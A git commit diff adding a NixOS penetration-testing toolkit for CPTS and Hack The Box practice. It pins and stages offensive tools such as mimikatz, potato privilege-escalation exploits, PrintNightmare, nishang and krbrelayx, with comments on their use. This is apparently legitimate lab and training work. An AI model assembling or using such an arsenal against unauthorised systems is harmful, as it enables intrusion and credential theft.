commit 41900e37cf8b44c637b0bd4868bae51bd49a4100
parent 8b358a89ed362bfdf5635f899b5e775200fc45e0
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Thu, 8 Oct 2026 20:05:19 +0100
feat(pentest): modular offensive toolkit for CPTS prep
18 toggleable categories under daemon.pentest.*, built on a mkCategory helper
that derives the gated NixOS module, a devShell and a binary-resolution smoke
check from one package list each. Tools install to environment.systemPackages,
not home.packages, so they work under sudo.
HTB workflow: htbvpn (systemd template unit), htbtarget (shared across
terminals via a state file and a zsh precmd hook; manages a marked block in
/etc/hosts for Kerberos), htbtime (conflict-aware clock skew that restores
exactly what it changed), htb new, payload-serve (binds the tunnel only and
refuses to start without it).
$PAYLOADS stages Windows x64/x86, Linux amd64/arm64 and macOS arm64 payloads:
ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the
potato family, SharpCollection's 102 C# tools, PEASS, printerbug and
PrintNightmare pinned by hash. Both BloodHound viewers, with the CE/legacy
collector formats documented.
Verified: every category's smoke check, a cross-category profile-collision
check over all 18, four NixOS VM tests (htbvpn profile switching, htbtime
state round-trip, htbtarget input validation against /etc/hosts, BloodHound's
databases), and the whole-system build.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Diffstat:
30 files changed, 2899 insertions(+), 28 deletions(-)
diff --git a/README.md b/README.md
@@ -68,6 +68,23 @@ NixDaemon/
│ ├── hyprland.nix desktop-hyprland: programs.hyprland (uwsm), the GTK portal — gated
│ ├── niri.nix packages.niri (wrapper-modules: config.kdl from Nix, binds, Rosé Pine) + desktop-niri — gated
│ └── noctalia.nix packages.noctalia (wrapper-modules: settings.json from Nix, Rosé Pine "Rosepine" scheme)
+ │ └── pentest/ the offensive toolkit — one NixOS module per category, all toggleable
+ │ ├── default.nix nixosModules.pentest: imports every category below by name
+ │ ├── options.nix daemon.pentest.enable + the options no category owns
+ │ ├── _sets.nix mkCategory: one package list -> gated module + devShell + smoke check
+ │ ├── _aliases.nix suffix-free script aliases, collision-guarded (impacket's net/split/ping)
+ │ ├── _impacket.nix impacket + its aliases, shared by python.nix and ad.nix
+ │ ├── _overlay.nix the nixpkgs fixes the toolkit needs (python 3.12 anyio), each dated
+ │ ├── _pkgs/ pinned derivations for what nixpkgs lacks (SharpCollection, PEASS, potatoes…)
+ │ ├── nixpkgs.nix one package set for the system and for the flake's own checks
+ │ ├── core.nix recon.nix ad.nix web.nix pivot.nix crack.nix shells.nix
+ │ ├── wordlists.nix python.nix bloodhound.nix gui.nix payloads.nix
+ │ ├── dfir.nix reversing.nix wireless.nix cloud.nix osint.nix mobile.nix (off by default)
+ │ ├── vpn.nix htbvpn: the HTB tunnel as a systemd template unit
+ │ ├── time.nix htb-time: conflict-aware clock skew for Kerberos
+ │ ├── htb.nix htbtarget / htb new: the box you are on, shared across terminals
+ │ ├── devshells.nix nix develop #pentest, and the all-category collision check
+ │ └── update.nix pentest-update: move the _pkgs pins forward, deliberately
└── home/ flake.homeModules.* — the user's home
├── default.nix homeModules.daemonsec: imports every module below by name
├── hyprland.nix Lua config wiring, helper scripts, polkit, cliphist — only with daemon.desktop.hyprland
@@ -81,6 +98,7 @@ NixDaemon/
├── neovim.nix nvf: Neovim with a small Nix-built plugin set, Rosé Pine
├── prompt.nix starship and fastfetch
├── fan.nix `fan`: status and watch without root; max/auto with the clamp watchdog
+ ├── htb-shell.nix $TARGET/$BOX in every terminal (zsh precmd) and in the prompt
├── ssh.nix, gpg.nix, git.nix keys from sops, ~/.ssh/config, gpg.conf, git identity and signing
├── media.nix mpd, rmpc, mpv
├── yazi.nix, gtk.nix yazi with previews and Rosé Pine; Yaru-purple icons, cursor, prefer-dark
@@ -104,6 +122,9 @@ NixDaemon/
| Secrets | sops-nix (age) for the repo; secretspec (keyring) for projects | modules/hosts/laptop/sops.nix, modules/home/sops.nix, shell.nix |
| GPU | NVIDIA open module, panel on the RTX; Aquamarine told the GPUs by colon-free udev symlinks | modules/hosts/laptop/nvidia.nix |
| Fan | `fan-throttle-guard`: 3.2 GHz floor, EC auto fan, `uniwill` hwmon from a 6.19 driver. `fan` command: status, watch, max/auto with a clamp watchdog | modules/hosts/laptop/fan-*.nix, uniwill-laptop/, modules/home/fan.nix |
+| Pentest | 18 toggleable categories (`daemon.pentest.<category>.enable`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, cloud, OSINT, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ |
+| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htb new <box>`, `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,payloads}.nix |
+| Payloads | `$PAYLOADS`: Windows x64/x86, Linux amd64/arm64 and macOS arm64. ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the potato family, SharpCollection's 102 C# tools and PEASS pinned by hash | modules/features/pentest/payloads.nix, _pkgs/ |
| Nix | flakes, Hyprland cache, `nh` with weekly `clean all --keep 5 --keep-since 14d` | modules/hosts/laptop/nix-settings.nix |
## Setting it up
@@ -116,6 +137,10 @@ nh os boot # same, but activate on next boot (kernel / driver
nix-cheat # the full card: rebuild, remote, nh, home, search, update, rollback, clean, …
nix-cheat nh # one section
ns kitty # fuzzy search nixpkgs + NixOS/home-manager options, with descriptions
+pentest-cheat # the offensive toolkit card: htb, recon, ad, pivot, transfer, crack, web, dfir
+pentest-cheat ad # one section
+nix flake check # every pentest category's smoke check, plus the VM tests
+nix develop ~/NixDaemon#pentest # the whole toolkit without installing it
```
home-manager is a NixOS module here, so one rebuild does both; there is no
diff --git a/modules/features/pentest/_impacket.nix b/modules/features/pentest/_impacket.nix
@@ -0,0 +1,23 @@
+# modules/features/pentest/_impacket.nix — the impacket pieces, defined once.
+#
+# Both python.nix (which owns the category) and ad.nix (which cannot do Active
+# Directory without secretsdump/ntlmrelayx/GetUserSPNs) need these. Defining
+# them here means both get the SAME derivation and therefore the same store
+# path, so installing both categories is not a profile collision.
+{ lib, pkgs }:
+rec {
+ impacket = pkgs.python3Packages.impacket;
+
+ aliases = (import ./_aliases.nix { inherit lib pkgs; }) {
+ package = impacket;
+ prefix = "impacket";
+ # Read at build time from what these packages really install, so the
+ # reserved set cannot rot. See _aliases.nix for why this matters.
+ reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ];
+ # Nothing owns `mimikatz` on PATH, but the Windows mimikatz.exe in
+ # $PAYLOADS does, as far as a tired operator is concerned.
+ extraReserved = [ "mimikatz" ];
+ };
+
+ both = [ impacket aliases ];
+}
diff --git a/modules/features/pentest/_overlay.nix b/modules/features/pentest/_overlay.nix
@@ -0,0 +1,48 @@
+# modules/features/pentest/_overlay.nix — fixes this toolkit needs from nixpkgs
+# itself. Applied to both the system (nixpkgs.overlays) and the flake's
+# perSystem pkgs, so `nix flake check` and `nh os switch` agree.
+#
+# Keep every entry justified and dated: an overlay is a fork, and each one is a
+# thing to delete when nixpkgs catches up.
+final: prev:
+{
+ # 2026-10-08 — anyio 4.14.2 fails 5 of 2596 tests on python 3.12 in nixpkgs:
+ # tests/streams/test_tls.py::test_tls_connectable raises
+ # ValueError('server_hostname can only be specified in client mode') on every
+ # backend, and TestDropwhile::test_checkpoints_empty_results trips unraisable
+ # warnings under uvloop. Both are test-harness problems, not library faults.
+ #
+ # Without this netexec cannot build at all — netexec -> certipy-ad/proxy-py ->
+ # httpx -> httpcore -> anyio — and `nxc` is the most used tool in CPTS. The
+ # deselect is narrow and named rather than a blanket doCheck = false, which
+ # would hide a real regression.
+ #
+ # Two things about the mechanism, both learned the hard way:
+ #
+ # 1. It must be pythonPackagesExtensions, not
+ # `python312.override { packageOverrides = ... }`. netexec's own
+ # package.nix does its own `python312.override { packageOverrides = ... }`
+ # to pin impacket, and that REPLACES an overlay's packageOverrides rather
+ # than composing with it — the fix vanished silently and netexec's
+ # derivation came out byte-identical. Extensions are applied wherever a
+ # python package set is constructed, so they survive that.
+ #
+ # 2. It must be scoped to 3.12. An unscoped extension applies to every
+ # python set and invalidates the binary cache for everything downstream of
+ # anyio in all of them: the first attempt had python3.14-twisted
+ # rebuilding from source with its full test suite for no reason. Only
+ # 3.12's anyio is broken; 3.14 (the default, used by impacket) is fine.
+ pythonPackagesExtensions = prev.pythonPackagesExtensions ++ [
+ (
+ pyfinal: pyprev:
+ prev.lib.optionalAttrs (pyprev ? anyio && (pyprev.python.pythonVersion or "") == "3.12") {
+ anyio = pyprev.anyio.overridePythonAttrs (o: {
+ disabledTests = (o.disabledTests or [ ]) ++ [
+ "test_tls_connectable"
+ "test_checkpoints_empty_results"
+ ];
+ });
+ }
+ )
+ ];
+}
diff --git a/modules/features/pentest/_pkgs/default.nix b/modules/features/pentest/_pkgs/default.nix
@@ -0,0 +1,380 @@
+# modules/features/pentest/_pkgs/default.nix — what nixpkgs does not carry.
+#
+# Not a flake-parts module (the path contains `/_`, so import-tree skips it);
+# payloads.nix and the categories import it as a plain function.
+#
+# Every source is pinned by revision or by file hash, so the toolkit rolls back
+# with the system generation and an upstream force-push cannot change what you
+# staged on a target. `pentest-update` re-pins them on demand.
+#
+# Two kinds of thing live here:
+#
+# * Prebuilt .NET binaries (SharpCollection, the potato family, winPEAS).
+# Building .NET offline under Nix is brittle, so these are pinned release
+# assets, installed verbatim. This is the one place the toolkit trusts
+# someone else's build — the hashes are what make that reviewable.
+# * Scripts (krbrelayx, nishang, linpeas, PrintNightmare). Plain files, and
+# the python ones get a wrapper so they run without a venv.
+#
+# Windows and non-x86 binaries are NOT here: those are cross-compiled from
+# source in payloads.nix, which is better provenance than any download.
+{ lib, pkgs }:
+let
+ gh = args: pkgs.fetchFromGitHub args;
+
+ # The krbrelayx scripts import impacket, ldap3, dnspython and pyasn1.
+ krbPython = pkgs.python3.withPackages (ps: with ps; [
+ impacket
+ ldap3
+ dnspython
+ pyasn1
+ ]);
+in
+rec {
+ ##### Prebuilt .NET #########################################################
+
+ # 102 tools per framework/arch: Rubeus, SharpHound, Seatbelt, Certify,
+ # Whisker, SharpUp, SharpView, StandIn, ADCSPwn, SweetPotato, SharpPrinter,
+ # DeployPrinterNightmare, KrbRelay(Up), SafetyKatz, Snaffler, Inveigh…
+ # One pin covers most of the Windows AD arsenal.
+ sharpcollection = pkgs.stdenvNoCC.mkDerivation {
+ pname = "sharpcollection";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "Flangvik";
+ repo = "SharpCollection";
+ rev = "c53d7eb583d853de0bd693c1bb61581d59b2f44e";
+ hash = "sha256-Uqf9QyTRbItUJifRbMIcVrP2YPTo0BH7ybiig64zuHg=";
+ };
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out
+ cp -r NetFramework_* $out/
+ cp README.md $out/ 2>/dev/null || true
+ '';
+ meta = {
+ description = "Nightly builds of common C# offensive tools";
+ homepage = "https://github.com/Flangvik/SharpCollection";
+ platforms = lib.platforms.all;
+ };
+ };
+
+ # linpeas.sh and the winPEAS builds come from the release, not the repo:
+ # the repo only holds the builder that assembles them.
+ peass =
+ let
+ version = "20261006-4cf2d06d";
+ asset = name: hash: pkgs.fetchurl {
+ url = "https://github.com/peass-ng/PEASS-ng/releases/download/${version}/${name}";
+ inherit hash;
+ };
+ in
+ pkgs.runCommand "peass-${version}" { } ''
+ mkdir -p $out/linux $out/windows
+ install -m0755 ${asset "linpeas.sh" "sha256-5Eso9YNTGbvD6R31h5Yl8q0CY07s+L3dAhbmfD64Cjs="} $out/linux/linpeas.sh
+ install -m0644 ${asset "winPEASx64.exe" "sha256-6eLCsHPPrhwiqDxGbsQ+Qp11KoONY01evH5Zf/LAYOw="} $out/windows/winPEASx64.exe
+ install -m0644 ${asset "winPEASx86.exe" "sha256-pZvQ8UUvnHdGhtGJxUUeqj98zpyp8gvzvFcGQEcJKQM="} $out/windows/winPEASx86.exe
+ install -m0644 ${asset "winPEASany.exe" "sha256-7BbBDWubysMakm2qN8fym8OIJuADnZPUv+24UEceu/w="} $out/windows/winPEASany.exe
+ '';
+
+ # The potato family: local privilege escalation from a service account with
+ # SeImpersonatePrivilege. Which one works depends on the Windows build, hence
+ # all of them. SweetPotato comes from sharpcollection above.
+ potatoes =
+ let
+ exe = name: url: hash: { inherit name url hash; kind = "exe"; };
+ zip = name: url: hash: { inherit name url hash; kind = "zip"; };
+ items = [
+ (exe "JuicyPotato.exe"
+ "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"
+ "sha256-D1bHA+m33euQZGknusBaXG2VMIyOE7iOXU9LVyQj4DY=")
+ (exe "PrintSpoofer32.exe"
+ "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe"
+ "sha256-R8nv+BQkkKLDQXAaq3quvDVe7RVA7tU0qDF90eZWFLI=")
+ (exe "PrintSpoofer64.exe"
+ "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe"
+ "sha256-hST7wNc+cR5p1gxk8fG3vvNcmGcFiAZD3U1eF3eeWG0=")
+ (exe "GodPotato-NET2.exe"
+ "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe"
+ "sha256-MCeiEicpVymL9NMlBTcPpj+xYtampuwJGvnXYmMXqFg=")
+ (exe "GodPotato-NET4.exe"
+ "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"
+ "sha256-mo6dWHtXDUB08cgxexY6qNDFZu/YjylNnYW8d3Y1Kig=")
+ (zip "JuicyPotatoNG.zip"
+ "https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip"
+ "sha256-jkVbpqLJBifMbLOLF7l022JRwex2PLg+66KIlwMapAk=")
+ (zip "RoguePotato.zip"
+ "https://github.com/antonioCoco/RoguePotato/releases/download/1.0/RoguePotato.zip"
+ "sha256-YVt58TkP8RaOi81y9zPHTUsQ/nSFX5AikYiz7hTiV6U=")
+ (zip "LocalPotato.zip"
+ "https://github.com/decoder-it/LocalPotato/releases/download/v1.1/LocalPotato.zip"
+ "sha256-PTLYdrX6oL75K6bpNb/S5C3kuD93Qp1Q12W6FhNf/kg=")
+ ];
+ fetched = map (i: i // { drv = pkgs.fetchurl { inherit (i) url hash; }; }) items;
+ copyExe = i: ''install -m0644 ${i.drv} $out/${i.name}'';
+ copyZip = i: ''
+ ${pkgs.unzip}/bin/unzip -j -o ${i.drv} '*.exe' -d $out 2>/dev/null || \
+ ${pkgs.unzip}/bin/unzip -o ${i.drv} -d $out/${lib.removeSuffix ".zip" i.name}
+ '';
+ in
+ pkgs.runCommand "potatoes" { } ''
+ mkdir -p $out
+ ${lib.concatMapStringsSep "\n" (i: if i.kind == "exe" then copyExe i else copyZip i) fetched}
+ ls -1 $out > $out/.inventory || true
+ '';
+
+ # BloodHound Legacy (4.3.1), the old Electron GUI.
+ #
+ # nixpkgs REMOVED this on 2025-09-08 with the message "bloodhound's upstream
+ # is archived, and the package is running on Electron 11", and both halves of
+ # that are true: upstream is archived, and Electron 11 is years out of
+ # support. It is here because legacy BloodHound reads the OLD JSON format
+ # that bloodhound-python 1.9 and SharpHound v1 produce, which BloodHound CE
+ # cannot ingest — so for old collection data this is still the only viewer.
+ #
+ # Treat it as what it is: an unmaintained browser engine. Point it at your own
+ # lab data, not at anything untrusted.
+ bloodhoundLegacy =
+ let
+ version = "4.3.1";
+ zipFile = pkgs.fetchurl {
+ url = "https://github.com/SpecterOps/BloodHound-Legacy/releases/download/v${version}/BloodHound-linux-x64.zip";
+ hash = "sha256-OtQNrbPGAw5WoDeli6+REcx9ajor0CeF89L7Gg44aB0=";
+ };
+ in
+ pkgs.stdenv.mkDerivation {
+ pname = "bloodhound-legacy";
+ inherit version;
+ src = zipFile;
+
+ nativeBuildInputs = [
+ pkgs.unzip
+ pkgs.autoPatchelfHook
+ pkgs.makeWrapper
+ ];
+
+ buildInputs = with pkgs; [
+ alsa-lib at-spi2-atk at-spi2-core atk cairo cups dbus expat
+ gdk-pixbuf glib gtk3 libdrm libxkbcommon libgbm mesa nspr nss pango
+ libGL libglvnd systemdLibs
+ xorg.libX11 xorg.libXcomposite xorg.libXdamage xorg.libXext
+ xorg.libXfixes xorg.libXrandr xorg.libxcb xorg.libXScrnSaver
+ xorg.libxshmfence xorg.libXtst
+ ];
+
+ unpackPhase = "unzip -q $src";
+ dontBuild = true;
+ dontWrapGApps = true;
+
+ installPhase = ''
+ runHook preInstall
+ mkdir -p $out/share/bloodhound-legacy $out/bin
+ cp -r BloodHound-linux-x64/. $out/share/bloodhound-legacy/
+ # --no-sandbox: Electron's setuid sandbox cannot work from the store.
+ makeWrapper $out/share/bloodhound-legacy/BloodHound $out/bin/bloodhound-legacy \
+ --add-flags "--no-sandbox"
+ runHook postInstall
+ '';
+
+ meta = {
+ description = "BloodHound Legacy 4.3.1 GUI (archived upstream, Electron 11) — reads pre-CE JSON";
+ homepage = "https://github.com/SpecterOps/BloodHound-Legacy";
+ platforms = [ "x86_64-linux" ];
+ mainProgram = "bloodhound-legacy";
+ };
+ };
+
+ # linWinPwn: a bash front-end that drives the AD tools in sequence —
+ # enumeration, ADCS, kerberoasting, relay checks, BloodHound collection.
+ # It shells out to nxc, impacket, certipy, bloodhound-python, kerbrute,
+ # ldapdomaindump, smbmap and friends, every one of which the `ad` category
+ # already installs, so the wrapper just puts them on its PATH.
+ linwinpwn = pkgs.stdenvNoCC.mkDerivation {
+ pname = "linwinpwn";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "lefayjey";
+ repo = "linWinPwn";
+ rev = "5eea01aa754fbe005fee77d51be523e8836b730a";
+ hash = "sha256-6wp1nRNX1Af81gi/zVXtIuJNKHiOyvmUqzFb9n8IGEE=";
+ };
+ nativeBuildInputs = [ pkgs.makeWrapper ];
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out/share/linwinpwn $out/bin
+ cp -r . $out/share/linwinpwn/
+ chmod +x $out/share/linwinpwn/linWinPwn.sh
+ # linWinPwn calls impacket under several spellings depending on distro
+ # (secretsdump.py on Kali, impacket-secretsdump on Debian), so give it
+ # both: the package's own .py names and the alias set.
+ makeWrapper $out/share/linwinpwn/linWinPwn.sh $out/bin/linWinPwn \
+ --prefix PATH : ${
+ lib.makeBinPath (
+ (with pkgs; [
+ bash coreutils gnugrep gnused gawk findutils which
+ netexec certipy bloodhound-py rusthound-ce kerbrute smbmap
+ ldapdomaindump enum4linux-ng nmap john hashcat
+ krb5 openldap samba curl jq openssl python3
+ ])
+ ++ (with pkgs.python3Packages; [ impacket pypykatz bloodyad lsassy ])
+ ++ (import ../_impacket.nix { inherit lib pkgs; }).both
+ )
+ }
+ ln -s $out/bin/linWinPwn $out/bin/linwinpwn
+ '';
+ meta = {
+ description = "Bash script that streamlines the use of a number of Active Directory tools";
+ homepage = "https://github.com/lefayjey/linWinPwn";
+ platforms = lib.platforms.linux;
+ mainProgram = "linWinPwn";
+ };
+ };
+
+ ##### Scripts ###############################################################
+
+ # dirkjanm's relay toolkit. printerbug.py is the one you reach for to coerce
+ # authentication out of a host via MS-RPRN — the "printer bug" — and it is
+ # the Linux counterpart to SpoolSample.exe.
+ krbrelayx = pkgs.stdenvNoCC.mkDerivation {
+ pname = "krbrelayx";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "dirkjanm";
+ repo = "krbrelayx";
+ rev = "10b45a33bc4361ec4a5546eea62db2e4244d3255";
+ hash = "sha256-NnC14jVkWPhEtoGicTFMAef1/kHt8wZr6+Am4NQ4nUg=";
+ };
+ nativeBuildInputs = [ pkgs.makeWrapper ];
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out/share/krbrelayx $out/bin
+ cp -r *.py lib $out/share/krbrelayx/
+ for s in krbrelayx addspn dnstool printerbug; do
+ makeWrapper ${krbPython}/bin/python $out/bin/$s \
+ --add-flags $out/share/krbrelayx/$s.py \
+ --prefix PYTHONPATH : $out/share/krbrelayx
+ done
+ '';
+ meta = {
+ description = "Kerberos relaying and unconstrained delegation abuse (krbrelayx, printerbug, addspn, dnstool)";
+ homepage = "https://github.com/dirkjanm/krbrelayx";
+ platforms = lib.platforms.linux;
+ mainProgram = "krbrelayx";
+ };
+ };
+
+ # Linux privilege-escalation enumeration, the thorough one.
+ lse = pkgs.stdenvNoCC.mkDerivation {
+ pname = "linux-smart-enumeration";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "diego-treitos";
+ repo = "linux-smart-enumeration";
+ rev = "b83a26f91641f85705c802f44aacb2ec42002157";
+ hash = "sha256-QKJvjmSUtwcgZyz7KX5JYEWSznQuRyTBeDIv+5KpITg=";
+ };
+ dontBuild = true;
+ installPhase = ''
+ install -Dm0755 lse.sh $out/bin/lse
+ install -Dm0755 lse.sh $out/share/lse/lse.sh
+ '';
+ meta = {
+ description = "Linux enumeration for privilege escalation, with levels of detail";
+ homepage = "https://github.com/diego-treitos/linux-smart-enumeration";
+ platforms = lib.platforms.linux;
+ mainProgram = "lse";
+ };
+ };
+
+ # PowerShell offensive scripts: Invoke-PowerShellTcp, Get-Information,
+ # Invoke-Mimikatz, the Escalation and Gather sets.
+ nishang = pkgs.stdenvNoCC.mkDerivation {
+ pname = "nishang";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "samratashok";
+ repo = "nishang";
+ rev = "d87229d2112456470ad30a50edbf312463f2b09a";
+ hash = "sha256-q0baS6x7ayfzfopM7FgL7bcSmPChMryMAryfjfg4ym0=";
+ };
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out/share/nishang
+ cp -r ActiveDirectory Antak-WebShell Backdoors Bypass Client Escalation \
+ Execution Gather Misc MITM Pivot Prasadhak Scan Shells Utility \
+ $out/share/nishang/ 2>/dev/null || true
+ cp *.md *.txt $out/share/nishang/ 2>/dev/null || true
+ '';
+ meta = {
+ description = "Offensive PowerShell for penetration testing";
+ homepage = "https://github.com/samratashok/nishang";
+ platforms = lib.platforms.all;
+ };
+ };
+
+ # PrintNightmare (CVE-2021-1675 / CVE-2021-34527), the python driver.
+ printnightmare = pkgs.stdenvNoCC.mkDerivation {
+ pname = "printnightmare";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "cube0x0";
+ repo = "CVE-2021-1675";
+ rev = "d2e96c1dc79f60f87eb88e22f01280e01c94a226";
+ hash = "sha256-baFt3r03tWWSvHYxItz/49liLQe11ki20FaGdNqIT2Q=";
+ };
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out/share/printnightmare
+ cp CVE-2021-1675.py $out/share/printnightmare/
+ cp -r SharpPrintNightmare $out/share/printnightmare/ 2>/dev/null || true
+ '';
+ meta = {
+ description = "PrintNightmare (CVE-2021-1675 / CVE-2021-34527) exploit";
+ homepage = "https://github.com/cube0x0/CVE-2021-1675";
+ platforms = lib.platforms.all;
+ };
+ };
+
+ # mimikatz, the older build. nixpkgs carries one version (2.2.0-20220919);
+ # this is the 2021 build, kept because which one a given host tolerates
+ # varies, and "the old one works" is a real finding on an old box. Staged as
+ # a distinct FILENAME — two versions cannot both be `mimikatz.exe`, which is
+ # exactly why payloads are files and not commands.
+ mimikatzOld =
+ let
+ version = "2.2.0-20210810-2";
+ zipFile = pkgs.fetchurl {
+ url = "https://github.com/gentilkiwi/mimikatz/releases/download/${version}/mimikatz_trunk.zip";
+ hash = "sha256-M/MZDlXkkDwvES2T+J23uY7Q4hzChVsKPoWAbgPVf0Q=";
+ };
+ in
+ pkgs.runCommand "mimikatz-${version}" { } ''
+ mkdir -p $out
+ ${pkgs.unzip}/bin/unzip -q -o ${zipFile} -d $out
+ test -f $out/x64/mimikatz.exe || { echo "mimikatzOld: x64/mimikatz.exe missing" >&2; exit 1; }
+ test -f $out/Win32/mimikatz.exe || { echo "mimikatzOld: Win32/mimikatz.exe missing" >&2; exit 1; }
+ '';
+
+ # Source only — zcgonvh ships no binary. Kept because compiling it on the
+ # target with the in-box csc.exe is the documented way to use it.
+ efspotatoSource = pkgs.stdenvNoCC.mkDerivation {
+ pname = "efspotato-source";
+ version = "unstable-2026-10-08";
+ src = gh {
+ owner = "zcgonvh";
+ repo = "EfsPotato";
+ rev = "0474c9fa732656c95b31d923bec5d845a965c874";
+ hash = "sha256-kJgvSTgySD9YfHcYEzXo2GRcOOti4ovzppDMX1oR2GM=";
+ };
+ dontBuild = true;
+ installPhase = ''
+ mkdir -p $out
+ cp EfsPotato.cs README.md $out/
+ '';
+ meta = {
+ description = "EfsPotato (MS-EFSR coercion to SYSTEM), C# source to compile on target";
+ homepage = "https://github.com/zcgonvh/EfsPotato";
+ platforms = lib.platforms.all;
+ };
+ };
+}
diff --git a/modules/features/pentest/ad.nix b/modules/features/pentest/ad.nix
@@ -0,0 +1,61 @@
+# modules/features/pentest/ad.nix — Active Directory, which is most of CPTS.
+#
+# impacket and its aliases come from _impacket.nix, shared with python.nix, so
+# both categories install the identical derivation rather than colliding.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "ad";
+ description = "Active Directory: kerberos, LDAP, SMB, ADCS, relaying";
+
+ packages = pkgs:
+ let
+ extra = import ./_pkgs/default.nix { inherit lib pkgs; };
+ in
+ (import ./_impacket.nix { inherit lib pkgs; }).both
+ ++ [
+ # krbrelayx: `printerbug` coerces authentication out of a host over
+ # MS-RPRN — the printer bug — and is the Linux counterpart to
+ # SpoolSample.exe. Also krbrelayx, addspn, dnstool. Not in nixpkgs.
+ extra.krbrelayx
+ # linWinPwn: drives the tools in this category in sequence. Its wrapper
+ # carries them all on PATH, so it works without a Kali-shaped filesystem.
+ extra.linwinpwn
+ ]
+ ++ (with pkgs; [
+ netexec # `nxc`, the maintained CrackMapExec
+ certipy # ADCS
+ # TWO collectors, because the formats are NOT interchangeable:
+ bloodhound-py # `bloodhound-python` 1.9 -> LEGACY (pre-CE) JSON
+ rusthound-ce # `rusthound-ce` -> BloodHound CE JSON, and much faster
+ kerbrute
+ responder
+ mitm6
+ coercer
+ donpapi
+ adidnsdump
+ ldapdomaindump
+ smbmap
+ evil-winrm
+ krb5
+ openldap
+ samba
+ ])
+ ++ (with pkgs.python3Packages; [
+ pypykatz
+ bloodyad # `bloodyAD`
+ lsassy
+ dploot
+ masky
+ ]);
+
+ expectedBins = [
+ "nxc" "certipy" "bloodhound-python" "kerbrute" "responder" "mitm6"
+ "coercer" "donpapi" "adidnsdump" "ldapdomaindump" "smbmap" "evil-winrm"
+ "pypykatz" "bloodyAD" "lsassy" "dploot" "masky"
+ # From _impacket.nix: proves the shared helper composes with this category.
+ "secretsdump" "ntlmrelayx" "GetUserSPNs" "secretsdump.py"
+ "rusthound-ce"
+ # From _pkgs/: the printer-bug family, and the automation front-end.
+ "printerbug" "krbrelayx" "addspn" "dnstool" "linWinPwn"
+ ];
+}
diff --git a/modules/features/pentest/bloodhound.nix b/modules/features/pentest/bloodhound.nix
@@ -0,0 +1,199 @@
+# modules/features/pentest/bloodhound.nix — BloodHound CE and the two databases
+# it needs.
+#
+# nixpkgs has no services.bloodhound, so postgresql and neo4j are wired here by
+# hand. Both are set to NOT start at boot: neo4j is a JVM that wants a GB of
+# RAM, and this laptop should not pay for it on every boot just because the
+# category is installed. Start them when you need the graph:
+#
+# bloodhound-up postgresql, neo4j, then the BloodHound API
+# bloodhound-down stop all three
+# bloodhound-status what is running, and the URL
+#
+# BOTH viewers are installed, and they are not interchangeable:
+#
+# bloodhound-ce the current server. Collect with `rusthound-ce` or
+# SharpHound CE ($PAYLOADS/windows/amd64/ad), then upload
+# the zip through its web UI.
+# bloodhound-legacy the archived 4.3.1 Electron GUI, for data in the OLD
+# format — what `bloodhound-python` 1.9 and SharpHound v1
+# produce. CE refuses that format, which is the only
+# reason this is still here.
+#
+# So: CE data needs rusthound-ce; legacy data needs bloodhound-python. Feeding
+# one format to the other viewer fails with an unhelpful parse error, and that
+# is the single most common way to waste an hour with BloodHound.
+#
+# The first CE run prints its own admin credentials — this module deliberately
+# does not invent a config file for the API: it manages the databases and the
+# lifecycle, not BloodHound's own first-run bootstrap.
+{ lib, self, ... }:
+{
+ imports = [
+ ((import ./_sets.nix { inherit lib; }) {
+ name = "bloodhound";
+ description = "BloodHound CE with its postgresql and neo4j";
+
+ packages =
+ pkgs:
+ [
+ pkgs.bloodhound-ce # the CE server: API + web graph viewer
+ pkgs.neo4j # `cypher-shell`, for poking the graph by hand
+ pkgs.bloodhound-py # legacy-format collector
+ pkgs.rusthound-ce # CE-format collector
+ ]
+ ++ [
+ # BloodHound Legacy 4.3.1, the old Electron viewer. nixpkgs dropped
+ # it (archived upstream, Electron 11); it is here because CE cannot
+ # ingest the pre-CE JSON that bloodhound-python 1.9 and SharpHound v1
+ # produce, so for that data this is still the only viewer.
+ (import ./_pkgs/default.nix { inherit lib pkgs; }).bloodhoundLegacy
+ ];
+
+ expectedBins = [
+ "bloodhound-ce"
+ "bloodhound-legacy"
+ "cypher-shell"
+ "neo4j"
+ "bloodhound-python"
+ "rusthound-ce"
+ ];
+
+ extraConfig =
+ { pkgs, lib, config, ... }:
+ {
+ services.neo4j = {
+ enable = true;
+ # BloodHound talks bolt on 7687; 7474 is neo4j's own browser.
+ http.enable = true;
+ bolt.enable = true;
+ # NixOS enables neo4j's HTTPS connector by default, and neo4j then
+ # refuses to start: "HTTPS set to enabled, but no SSL policy
+ # provided". The module ships no certificate, so the only way
+ # `services.neo4j.enable = true` works at all is to turn it off.
+ # Nothing is lost: this listens on localhost for one local tool.
+ https.enable = false;
